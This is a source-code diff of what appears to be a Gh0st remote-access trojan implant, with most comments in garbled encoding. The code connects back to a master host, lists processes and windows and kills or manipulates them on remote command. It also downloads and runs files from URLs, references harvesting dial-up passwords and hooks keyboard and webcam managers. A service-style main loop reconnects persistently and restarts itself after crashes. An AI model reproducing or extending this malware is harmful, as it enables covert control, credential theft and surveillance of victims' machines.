if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendProcessList();
}
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendWindowsList();
}
}
CSystemManager::~CSystemManager()
@@ -27,20 +36,26 @@ CSystemManager::~CSystemManager()
}
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
SwitchInputDesktop();
switch (lpBuffer[0])
switch (lpBuffer[0])//<2F><><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD><EFBFBD><EFBFBD> <20>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD><EFBFBD><EFBFBD>
{
case COMMAND_PSLIST:
SendProcessList();
case COMMAND_PSLIST: //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>б<EFBFBD>
SendProcessList();
break;
case COMMAND_WSLIST:
case COMMAND_WSLIST: //<2F><><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD>б<EFBFBD>
SendWindowsList();
break;
case COMMAND_DIALUPASS:
SendDialupassList();
case COMMAND_DIALUPASS: //<2F><><EFBFBD><EFBFBD>20200530
break;
case COMMAND_KILLPROCESS:
case COMMAND_KILLPROCESS: //<2F>رս<D8B1><D5BD><EFBFBD>
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
case COMMAND_WINDOW_CLOSE: //<2F>رմ<D8B1><D5B4><EFBFBD>
CloseTheWindow(lpBuffer + 1);
break;
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1> <20><><EFBFBD>ش<EFBFBD><D8B4>ں<EFBFBD>
ShowTheWindow(lpBuffer + 1);
break;
default:
break;
}
@@ -49,10 +64,13 @@ void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
void CSystemManager::SendProcessList()
{
UINT nRet = -1;
//<2F><><EFBFBD><EFBFBD>getProcessList<73>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD> --->lpBuffer
LPBYTE lpBuffer = getProcessList();
if (lpBuffer == NULL)
return;
//<2F><><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD> <20><><EFBFBD><EFBFBD><E0BAAF>send <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
@@ -60,20 +78,25 @@ void CSystemManager::SendProcessList()
void CSystemManager::SendWindowsList()
{
UINT nRet = -1;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
LPBYTE lpBuffer = getWindowsList();
if (lpBuffer == NULL)
return;
//<2F><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
//<2F><><EFBFBD><EFBFBD>20200530
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
for (int i = 0; i < pass.GetMax(); i++)
int i = 0;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
@@ -102,11 +125,15 @@ void CSystemManager::SendDialupassList()
LocalFree(lpBuffer);
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
{
HANDLE hProcess = NULL;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
// <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>ܲ<EFBFBD>ֹ<EFBFBD><D6B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
for (int i = 0; i < nSize; i += 4)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
@@ -122,19 +149,92 @@ void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
SendWindowsList();
}
BOOL CSystemManager::DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath)
{
TCHAR szDriveStr[500];
TCHAR szDrive[3];
TCHAR szDevName[100];
INT cchDevName;
INT i;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (!pszDosPath || !pszNtPath)
return FALSE;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr))
{
for (i = 0; szDriveStr[i]; i += 4)
{
if (!lstrcmpi(&(szDriveStr[i]), "A:\\") || !lstrcmpi(&(szDriveStr[i]), "B:\\"))
continue;
szDrive[0] = szDriveStr[i];
szDrive[1] = szDriveStr[i + 1];
szDrive[2] = '\0';
if (!QueryDosDevice(szDrive, szDevName, 100))//<2F><>ѯ Dos <20><EFBFBD><E8B1B8>
return FALSE;
cchDevName = lstrlen(szDevName);
if (_tcsnicmp(pszDosPath, szDevName, cchDevName) == 0)//<2F><><EFBFBD><EFBFBD>
{
lstrcpy(pszNtPath, szDrive);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lstrcat(pszNtPath, pszDosPath + cchDevName);//<2F><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
return TRUE;
}
}
}
lstrcpy(pszNtPath, pszDosPath);
return FALSE;
}
BOOL CSystemManager::GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH])
{
TCHAR szImagePath[MAX_PATH];
HANDLE hProcess;
if (!pszFullPath)
return FALSE;
pszFullPath[0] = '\0';
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, dwPID);
if (!hProcess)
return FALSE;
if (!GetProcessImageFileName(hProcess, szImagePath, MAX_PATH))
{
CloseHandle(hProcess);
return FALSE;
}
if (!DosPathToNtPath(szImagePath, pszFullPath))
{
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);
return TRUE;
}
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HMODULE hModules = NULL;
HANDLE hSnapshot = NULL; //<2F><><EFBFBD>վ<EFBFBD><D5BE><EFBFBD>
HANDLE hProcess = NULL; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0};
LPBYTE lpBuffer = NULL;
char strProcessName[MAX_PATH] = {0}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE lpBuffer = NULL; //
DWORD dwOffset = 0;
DWORD dwLength = 0;
//<2F><>ȡȨ<C8A1><C8A8>
DebugPrivilege(SE_DEBUG_NAME, TRUE);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>̿<EFBFBD><CCBF><EFBFBD>
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
@@ -142,27 +242,42 @@ LPBYTE CSystemManager::getProcessList()
pe32.dwSize = sizeof(PROCESSENTRY32);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD>ƶ˹<C6B6><CBB9>е<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD><CDA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD>ǽ<EFBFBD><C7BD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
//<2F>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܾͷ<DCBE><CDB7><EFBFBD>
if(Process32First(hSnapshot, &pe32))
{
do
{
//<2F>򿪽<EFBFBD><F2BFAABD>̾<EFBFBD><CCBE><EFBFBD>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
{
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
//strProcessName[0] = '\0';
//ö<>ٵ<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67>û<EFBFBD><C3BB>Ȩ<EFBFBD>޵<EFBFBD><DEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>Է<EFBFBD><D4B7>͹<EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD>һ<EFBFBD>ȡ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>ȫ<EFBFBD><EFBFBD><E6A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>GetProcessFullPath<74><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD>
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetProcessFullPath(pe32.th32ProcessID, strProcessName);
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD><EFBFBD><EFBFBD>򻺳<EFBFBD><F2BBBAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݽṹ<DDBD><E1B9B9> <20><><EFBFBD><EFBFBD>ID+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
@@ -173,9 +288,9 @@ LPBYTE CSystemManager::getProcessList()
dwOffset += lstrlen(strProcessName) + 1;
}
}
while(Process32Next(hSnapshot, &pe32));
while(Process32Next(hSnapshot, &pe32));//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
//<2F><>lpbuffer<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
@@ -183,6 +298,7 @@ LPBYTE CSystemManager::getProcessList()
return lpBuffer;
}
//<2F><>Ȩ
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
{
BOOL bResult = TRUE;
@@ -215,6 +331,7 @@ void CSystemManager::ShutdownWindows( DWORD dwReason )
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
}
//<2F><><EFBFBD>ڻص<DABB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
@@ -224,21 +341,27 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
GetWindowText(hwnd, strTitle, sizeof(strTitle));
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
if (lpBuffer == NULL)
//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>СΪ1<CEAA><31><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>һ<EFBFBD>ֽ<EFBFBD>Ϊ֪ͨ<CDA8><D6AA><EFBFBD>ƶ˱<C6B6>ʶ
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);
//<2F><><EFBFBD><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ڵĴ<DAB5><C4B4><EFBFBD><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ݽṹΪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>PID + hwnd + <20><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD> + 0
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy((lpBuffer + dwOffset), &hwnd, sizeof(DWORD));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
@@ -246,10 +369,36 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
return true;
}
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
LPBYTE CSystemManager::getWindowsList()
{
LPBYTE lpBuffer = NULL;
//ö<><C3B6><EFBFBD><EFBFBD>Ļ<EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>еĶ<D0B5><C4B6><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؽ<EFBFBD><D8BD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD>һ<EFBFBD><D2BB>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//EnumWindows<77><73>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5>ֱ<EFBFBD><D6B1>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĶ<D0B5><C4B6><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD>߻ص<DFBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FALSE.
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
//<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>TOKEN_WSLIST<53><54><EFBFBD>ض<EFBFBD>ʶ<EFBFBD><CAB6>
lpBuffer[0] = TOKEN_WSLIST;
return lpBuffer;
}
//<2F>رմ<D8B1><D5B4><EFBFBD>
void CSystemManager::CloseTheWindow(LPBYTE buf)
{
DWORD hwnd;
memcpy(&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
::PostMessage((HWND__ *)hwnd, WM_CLOSE, 0, 0); //<2F>򴰿ڷ<F2B4B0BF><DAB7>͹ر<CDB9><D8B1><EFBFBD>Ϣ
}
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
void CSystemManager::ShowTheWindow(LPBYTE buf)
{
DWORD hwnd;
DWORD dHow;
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow((HWND__ *)hwnd, dHow);
}

View File

@@ -14,7 +14,7 @@
class CSystemManager : public CManager
{
public:
CSystemManager(CClientSocket *pClient);
CSystemManager(CClientSocket *pClient, BYTE bHow);//bHow<6F>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵı<DCB5>־
virtual ~CSystemManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
@@ -22,12 +22,18 @@ public:
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
static void ShutdownWindows(DWORD dwReason);
private:
BYTE m_caseSystemIs;//<2F><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD>̻<EFBFBD><CCBB>ߴ<EFBFBD><DFB4>ڵı<DAB5><C4B1><EFBFBD>
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);
LPBYTE getProcessList();
LPBYTE getWindowsList();
void SendProcessList();
void SendWindowsList();
void SendDialupassList();
void KillProcess(LPBYTE lpBuffer, UINT nSize);
void ShowTheWindow(LPBYTE buf);
void CloseTheWindow(LPBYTE buf);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)

View File

@@ -1,6 +1,7 @@
// VideoCap.cpp: implementation of the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoCap.h"
//#include "..\DynamicAPI.h"
#include "..\DynamicAPI.h"
@@ -129,8 +130,9 @@ bool CVideoCap::Initialize(int nWidth, int nHeight)
return false;
}
int i = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < 10; i++)
for (i = 0; i < 10; i++)
{
if (capDriverConnect(m_hWndCap, i))
break;

View File

@@ -1,7 +1,7 @@
// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoManager.h"
//////////////////////////////////////////////////////////////////////
@@ -120,7 +120,7 @@ void CVideoManager::ResetScreen(int nWidth, int nHeight)
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
{
static dwLastScreen = GetTickCount();
static DWORD dwLastScreen = GetTickCount();
CVideoManager *pThis = (CVideoManager *)lparam;

View File

@@ -11,7 +11,7 @@
#include "Manager.h"
#include "VideoCap.h"
#include "VideoCodec.h"
#include "..\..\..\common\VideoCodec.h"
class CVideoManager : public CManager
{
public:

View File

@@ -1,3 +1,4 @@
#include "..\pch.h"
#include "install.h"
#include "until.h"
#include <Shlwapi.h>

View File

@@ -110,19 +110,35 @@ DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
return 0;
}
//<2F><><EFBFBD>̱<EFBFBD><CCB1><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient);
CSystemManager manager(&socketClient, COMMAND_SYSTEM);
socketClient.run_event_loop();
return 0;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_WindowManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient, COMMAND_WSLIST);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_DownManager(LPVOID lparam)
{
int nUrlLength;
@@ -148,7 +164,8 @@ DWORD WINAPI Loop_DownManager(LPVOID lparam)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
si.lpDesktop = "WinSta0\\Default";
char c_lpDesktop[] = "WinSta0\\Default";
si.lpDesktop = TEXT("WinSta0\\Default");
CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
return true;
@@ -160,7 +177,7 @@ bool UpdateServer(LPCTSTR lpURL)
{
char *lpFileName = NULL;
lpFileName = strrchr(lpURL, '/') + 1;
lpFileName = (char *)(strrchr(lpURL, '/') + 1);
if (lpFileName == NULL)
return false;
if (!http_get(lpURL, lpFileName))

View File

@@ -1,5 +1,177 @@
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "common/KeyboardManager.h"
#include "common/KernelManager.h"
#include "common/login.h"
char g_strSvchostName[MAX_PATH];//服务名
char g_strHost[MAX_PATH];
DWORD g_dwPort;
DWORD g_dwServiceType;
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,//获取信息失败
CONNECT_ERROR,//链接失败
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
};
DWORD WINAPI main(char *lpServiceName);
//处理异常
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
// 发生异常,重新创建进程
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
DWORD WINAPI main(char *lpServiceName)
{
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256] = {0};
char strKillEvent[50] = { 0 };
HANDLE hInstallMutex = NULL;
//////////////////////////////////////////////////////////////////////////
// Set Window Station
HWINSTA hOldStation = GetProcessWindowStation();
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
if (CKeyboardManager::g_hInstance != NULL)
{
//设置异常
SetUnhandledExceptionFilter(bad_exception);
lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
hInstallMutex = CreateMutex(NULL, true, g_strHost);
//ReConfigService(strServiceName);
// 删除安装文件
// DeleteInstallFile(lpServiceName);
}
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
char *lpszHost = NULL;
DWORD dwPort = 80;
char *lpszProxyHost = NULL;
DWORD dwProxyPort = 0;
char *lpszProxyUser = NULL;
char *lpszProxyPass = NULL;
HANDLE hEvent = NULL;
//---这里声明了一个 CClientSocket类
CClientSocket socketClient;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
//这个循环里判断是否连接成功如果不成功则继续向下
while (1)
{
// 如果不是心跳超时不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
break;
}
// 改一下
Sleep(60);
}
}
//上线地址
lpszHost = g_strHost;
dwPort = g_dwPort;
if (lpszProxyHost != NULL)
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
else
socketClient.setGlobalProxyOption();
DWORD dwTickCount = GetTickCount();
//---调用Connect函数向主控端发起连接
